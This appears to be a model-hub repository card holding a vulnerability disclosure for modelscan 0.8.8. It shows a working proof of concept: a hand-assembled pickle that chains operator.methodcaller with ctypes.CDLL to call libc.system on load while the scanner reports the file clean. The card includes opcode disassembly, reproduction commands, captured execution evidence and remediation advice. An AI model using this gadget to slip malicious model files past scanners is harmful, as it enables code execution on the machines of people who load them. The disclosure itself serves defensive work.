You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

modelscan 0.8.8 bypass: operator.methodcaller + ctypes.CDLL method-dispatch gadget (libc.system) scanned CLEAN while executing OS commands on pickle load

Target: modelscan β€” Protect AI Version tested: 0.8.8 (latest release on PyPI at test time; pip index/PyPI JSON info.version == 0.8.8) Component: modelscan.scanners.PickleUnsafeOpScan (pickle static opcode scanner) Impact: Malicious pickle / joblib model file is reported "No issues found! πŸŽ‰" (exit 0, zero issues) yet executes an arbitrary OS command (libc.system(...)) the moment the file is deserialized with pickle.load / joblib.load. Full remote code execution that defeats the scanner intended to prevent exactly this. Class: CWE-502 (Deserialization of Untrusted Data) / scanner allowlist bypass.


Root cause

PickleUnsafeOpScan is a purely opcode/name-matching scanner. It does not model dataflow or method dispatch β€” it only collects (module, name) pairs emitted by GLOBAL / STACK_GLOBAL opcodes and compares each pair against a static allowlist in settings.py (DEFAULT_SETTINGS["unsafe_globals"]).

modelscan/tools/picklescanner.py:

def _build_scan_result_from_raw_globals(raw_globals, model, settings):
    ...
    for rg in raw_globals:
        global_module, global_name, severity = rg[0], rg[1], None
        for severity_name in severities:
            if global_module not in settings["unsafe_globals"][severity_name]:
                continue                              # <-- (2) ctypes never in the dict -> skipped
            filter = settings["unsafe_globals"][severity_name][global_module]
            if filter == "*":
                severity = severities[severity_name]
                break
            for filter_value in filter:
                if filter_value in global_name:       # <-- (1) substring match against allowlist
                    severity = severities[severity_name]
                    break
            else:
                continue
            break
        ...

Two independent allowlist gaps combine into a self-contained RCE that references no denylisted global:

Gap 1 β€” operator allowlist is incomplete. settings.py denylists only operator.attrgetter (and builtins.getattr) to block the attribute-reach primitive:

# modelscan/settings.py
"operator": [
    "attrgetter",  # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
],

The filter check is if filter_value in global_name β€” "attrgetter" is not a substring of "methodcaller" (nor of "call"), so operator.methodcaller and operator.call sail through. Yet operator.methodcaller("system", arg)(obj) performs arbitrary method dispatch β€” obj.system(arg) β€” which is every bit as dangerous as attrgetter, and modelscan already recognized attribute-reach on operator as RCE-worthy.

Gap 2 β€” ctypes is entirely absent from unsafe_globals. Nothing in the ctypes module is flagged. ctypes.CDLL("libc.so.6") yields a live handle whose attributes resolve to arbitrary native libc functions (system, execl, ...).

The chain: operator.methodcaller("system", b"cmd")(ctypes.CDLL("libc.so.6")) evaluates to libc.system(b"cmd"). The dangerous call target (system) is reached by method dispatch on a live ctypes object at unpickling time β€” it is never a GLOBAL/STACK_GLOBAL operand, so the opcode-level scanner only ever sees the two benign-looking globals ("operator","methodcaller") and ("ctypes","CDLL"), neither of which is on the denylist, and returns clean.


PoC

Hand-assembled protocol-4 pickle, 158 bytes (poc/model.pkl, builder poc/build.py; identical bytes copied to poc/model.joblib). No dependency on any framework; uses only stdlib operator + ctypes.

Gadget: operator.methodcaller("system", CMD)(ctypes.CDLL("libc.so.6")) where CMD = b"touch /tmp/pwned_modelscan_methodcaller; id > /tmp/pwned_modelscan_methodcaller.out 2>&1".

The command argument is pushed as a bytes object via SHORT_BINBYTES (opcode C), so ctypes marshals it correctly as c_char_p when invoking system.

Disassembly (pickletools.dis):

    0: \x80 PROTO      4
    2: \x8c SHORT_BINUNICODE 'operator'
   12: \x8c SHORT_BINUNICODE 'methodcaller'
   26: \x93 STACK_GLOBAL                       # operator.methodcaller
   27: \x8c SHORT_BINUNICODE 'system'
   35: C    SHORT_BINBYTES b'touch /tmp/pwned_modelscan_methodcaller; id > /tmp/pwned_modelscan_methodcaller.out 2>&1'
  125: \x86 TUPLE2
  126: R    REDUCE                             # mc = methodcaller("system", b"CMD")
  127: \x8c SHORT_BINUNICODE 'ctypes'
  135: \x8c SHORT_BINUNICODE 'CDLL'
  141: \x93 STACK_GLOBAL                       # ctypes.CDLL
  142: \x8c SHORT_BINUNICODE 'libc.so.6'
  153: \x85 TUPLE1
  154: R    REDUCE                             # libc = CDLL("libc.so.6")
  155: \x85 TUPLE1
  156: R    REDUCE                             # mc(libc) == libc.system(b"CMD")
  157: .    STOP

Reproduce:

python3 poc/build.py          # writes poc/model.pkl (158 bytes) + prints disassembly
cp poc/model.pkl poc/model.joblib
modelscan -p poc/model.pkl    # => "No issues found! πŸŽ‰", exit 0
python3 -c "import pickle; pickle.load(open('poc/model.pkl','rb'))"   # => command executed

Captured evidence (modelscan 0.8.8, Python 3.12.13 for scanner / 3.13.12 for load)

(a) BYPASS β€” scanner reports clean

$ modelscan -p model.pkl
Scanning .../poc/model.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
 No issues found! πŸŽ‰
# exit code 0

JSON report (-r json) β€” proves the file was genuinely scanned, not skipped:

{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0},
 "total_issues": 0, "input_path": "model.pkl", "modelscan_version": "0.8.8",
 "scanned": {"total_scanned": 1, "scanned_files": ["model.pkl"]}, "issues": [], "errors": []}

Same file as model.joblib also scans clean, exit 0 (No issues found! πŸŽ‰).

(b) EXECUTION β€” payload runs on load

pickle.load (CPython 3.13.12):

load returned OK
marker exists: YES
id output: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)

joblib.load:

joblib.load executed payload: True

(c) NEGATIVE CONTROL β€” proves the scanner works and this gadget is the bypass

A plain os.system __reduce__ pickle IS flagged:

$ modelscan -p control_ossystem.pkl
Total Issues: 1
Total Issues By Severity:
    - CRITICAL: 1
--- CRITICAL ---
Unsafe operator found:
  - Severity: CRITICAL
  - Description: Use of unsafe operator 'system' from module 'posix'
# exit code 1

The scanner correctly flags a conventional payload (exit 1) but misses the method-dispatch gadget (exit 0) β€” the difference is precisely the two allowlist gaps.


Suggested remediation

  • Add ctypes to unsafe_globals ("ctypes": "*", or at minimum CDLL, PyDLL, WinDLL, LibraryLoader, cast, memmove, memset).
  • Add methodcaller and call to the operator denylist alongside attrgetter β€” any callable that performs attribute/method dispatch on an arbitrary object must be treated like getattr/attrgetter.
  • Structurally: a name-matching allowlist cannot see call targets reached through method dispatch on live objects. Consider flagging REDUCE/STACK_GLOBAL chains that construct callables from operator/functools/ctypes regardless of the top-level global name.

Dedup note

  • Not an existing CVE. This is a method-dispatch gadget: operator.methodcaller performing system dispatch on a ctypes.CDLL object, invoking a real native libc function with an in-pickle bytes argument. The scanner sees only (operator, methodcaller) and (ctypes, CDLL) β€” both absent from unsafe_globals.
  • Distinct from prior operator.attrgetter discussions (that name IS denylisted; methodcaller/call are not, and the substring filter "attrgetter" in "methodcaller" is False).
  • Distinct from prior modelscan bypasses filed by this researcher (e.g. cprofile/timeit runctx, posix_spawn/spawnv pass_fds, numpy.ctypeslib, memo/multi-pickle divergence, legacy multi-pickle, savedmodel/keras-meta, h5 lambda, genops) β€” different modules and a different primitive (method dispatch via operator.methodcaller onto a ctypes foreign-function handle). The two allowlist gaps (incomplete operator list + wholly-absent ctypes) are each independently necessary and together sufficient.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support